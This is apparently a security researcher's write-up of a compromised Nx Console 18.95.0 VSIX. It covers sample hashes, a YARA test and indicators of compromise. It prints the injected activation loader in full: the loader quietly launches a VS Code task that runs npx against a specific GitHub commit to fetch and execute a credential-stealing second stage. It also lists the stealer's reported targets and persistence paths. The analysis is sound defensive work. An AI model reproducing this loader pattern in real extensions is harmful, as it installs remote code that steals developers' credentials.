Nx Console 18.95.0: A 2,777-Byte Loader Inside the VSIX
An archived Nx Console sample shows how a small activation hook launched a second-stage payload. Our YARA test found broad signals, with important limits.
Nx Console 18.95.0 contained a small activation hook that launched code from a GitHub commit. Most of the extension remained familiar. The loader changed one location in extension/main.js and delegated the credential theft to another package.
The maintainers' advisory records an approximately 18-minute Microsoft Marketplace exposure window on 18 May 2026, and about 36 minutes on OpenVSX. Its later update reports around 6,000 VS Code activations, with store download counts much lower. Those measures should not be treated as interchangeable counts of compromised machines.
RiskyPlugins missed the release during its scrape interval. I obtained the archived VSIX afterward and tested it against our rules. This is a retrospective sample analysis; it is not evidence that our production scanner detected the attack in time.
Identify the sample
The archived package had this SHA-256:
1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8 nrwl.angular-console-18.95.0.vsix
The bundled runtime was 7,719,408 bytes and hashed to:
b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74 main.js
The original comparison located the 2,777-byte addition at offset 7,703,700 in main.js. The other compared package contents were unchanged. The StepSecurity investigation supplied the offset and reported on the later stages.
To extract the bytes for inspection:
dd if=main.js of=injection.js bs=1 skip=7703700 count=2777
How activation reached the shell
This loader excerpt is retained for inspection from the original analysis:
var U0 = require('vscode'),
G5t = '558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2',
xfn = 'nxConsole.mcpExtensionInstalledSha',
$xs = new Set([127, 9009]);
async function Uxs(t, e) {
try {
let n = `npx -y github:nrwl/nx#${G5t}`,
i = new U0.Task(
{ type: 'nx' },
U0.TaskScope.Workspace,
'install-mcp-extension',
'nx',
new U0.ShellExecution(n, {
cwd: e,
env: { ...process.env, NX_CONSOLE: 'true' }
})
);
i.presentationOptions.focus = !1;
await new Promise((o) => {
let l = U0.tasks.onDidEndTaskProcess((f) => {
if (f.execution.task === i) {
l.dispose();
let m = f.exitCode ?? 0;
m === 0
? t.globalState.update(xfn, G5t)
: $xs.has(m) ||
oA('Failed to install MCP extension', new Error(`Process exited with code ${m}`));
o();
}
});
U0.tasks.executeTask(i).then(void 0, (f) => {
l.dispose();
oA(
'Failed to start MCP extension install task',
f instanceof Error ? f : new Error(String(f))
);
o();
});
});
} catch (n) {
oA(
'Unexpected error while installing MCP extension',
n instanceof Error ? n : new Error(String(n))
);
}
}
function Efn(t) {
if (t.globalState.get(xfn) !== G5t) {
let n = U0.workspace.workspaceFolders && U0.workspace.workspaceFolders[0].uri.fsPath;
Uxs(t, n ?? void 0);
}
// ... legitimate-looking "nx.init" command registration below
}
The activation function checked nxConsole.mcpExtensionInstalledSha. If it did not match the embedded commit, the loader created a VS Code Task running npx -y github:nrwl/nx#558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2. A zero exit status stored the commit value, suppressing another run through this path.
The task used the workspace directory and inherited process.env. Its install-mcp-extension name made it resemble setup work. Setting presentationOptions.focus to false kept it from taking terminal focus, though the task remained visible. Exit codes 127 and 9009 bypassed the error reporter.
Those choices help explain why the change could be overlooked. They do not establish that an EDR would ignore it. A VS Code Task still starts a process that endpoint monitoring may observe.
The referenced commit reportedly contained a 498,567-byte index.js and a package.json that exposed it as an executable. The first-stage package therefore carried the invocation rather than the full stealer.
Evidence for the second stage
I did not obtain the second-stage index.js. The details here come from the linked investigations and advisory. The Git objects were unavailable during the original review; that does not prove why they were unavailable.
The reports describe collection from cloud credentials and local secret stores, including GitHub tokens, SSH keys and 1Password CLI access when a session was available. They describe exfiltration over HTTPS, the GitHub API and DNS. The original investigation also cited collection of ~/.claude/settings.json; treat that as a reported target rather than a behaviour reproduced in this analysis.
A reported macOS persistence path used ~/.local/share/kitty/cat.py and a LaunchAgent. The original report identified api.github.com/search/commits?q=firedalazer as a resolver for subsequent payload locations. The retained indicators below distinguish those reported second-stage artifacts from the loader I inspected.
Claims about successful downstream package poisoning would require separate evidence. The presence of signing-related code or stolen credentials alone does not prove a malicious package was published with valid provenance.
What the YARA run found
The original test scanned the extracted loader with our rule set:
$ yr compile -o cveq.yarc analyzers/yararules/rules/*.yar
$ yr scan --compiled-rules cveq.yarc injection.js
credential_env_files injection.js
postinstall_system_command injection.js
postinstall_system_command matched the shell-execution path. That is relevant to the loader's behaviour, but legitimate extensions can launch shells too.
credential_env_files matched the env expression even though its intended target included environment-file references. Passing process.env to a child process is common application behaviour. The match was too broad to establish credential collection by this snippet.
The full runtime produced more than 20 matches, including patterns associated with legitimate file and network operations. A Bolonyokte rule also matched unrelated identifiers in the bundle. That malware-family match was a false positive.
Comparing the changed bytes with the previous release would give a reviewer a smaller area to inspect. The test did not replay the full production escalation pipeline, so it cannot establish that an alert would have fired. Improving that detection path remains a separate engineering task.
Indicators of compromise
Artifact hashes retained from the original investigation. Baseline and remediated builds are comparison artifacts.
| Artifact | SHA-256 |
|---|---|
VSIX nrwl.angular-console-18.95.0.vsix |
1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8 |
Patched main.js inside that VSIX |
b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74 |
Stage-2 index.js (from the orphan commit, 498,567 bytes) |
e7347d90653efc565f03733a95e9209d78f9cfa81e31ff2b2dd9d48d75a4b8b1 |
Dropper package.json (from the orphan commit) |
43f2b001846c4966073ebffa5be8f15e491a1e7d32bbd805d57406ff540e0dd9 |
| Clean baseline 18.94.0 | 228a2cf081d4cbea9b91cde14a8f9c4a4d003e7f32431496953fd6bac266f5a3 |
| Remediated 18.100.0 | cb86f4f223daa54467c7782a0d8607e9c84e2bb633e6f0e51d9a19579e200990 |
Git objects in nrwl/nx (unavailable during the original investigation):
- Orphan commit
558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2. - Tree
ba642fe2c7c65e42dd7f6444b83023dc6827e08c. index.jsblobacfc3f957a63b4cde93ff645f2b6bf26a8ed1bbf.package.jsonblob9d88f040c44b5f4d5f9db15ff89310776c168e99.
Network indicators:
api.github.com/search/commits?q=firedalazer: reported kitty backdoor resolver.- AWS metadata probes against
169.254.169.254and169.254.170.2. - Vault probe to
127.0.0.1:8200. - Sigstore endpoints
fulcio.sigstore.devandrekor.sigstore.dev(legitimate services reportedly used by the payload).
Reported host indicators for the kitty backdoor:
| Indicator | Kind |
|---|---|
~/.local/share/kitty/cat.py |
Path |
~/Library/LaunchAgents/com.user.kitty-monitor.plist |
Path |
/var/tmp/.gh_update_state |
Path |
/tmp/kitty-* |
Path |
Python process running cat.py |
Process |
Any process with __DAEMONIZED=1 in its environment |
Process |
VS Code state to check:
- Extension global state key
nxConsole.mcpExtensionInstalledShawith value558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2records a successful task exit through the inspected loader. Its absence does not rule out execution or a later cleanup.
Responding to an affected installation
Follow the official remediation, including updating to a patched release, stopping the identified malicious processes and removing persistence. On macOS, unload the LaunchAgent before deleting it. Rotate credentials reachable from the machine and review the affected accounts' access logs.
The inspection result I would retain is the activation-to-shell path and its exact commit. Broad YARA hits helped locate code for review. They were not a substitute for tracing what that code executed.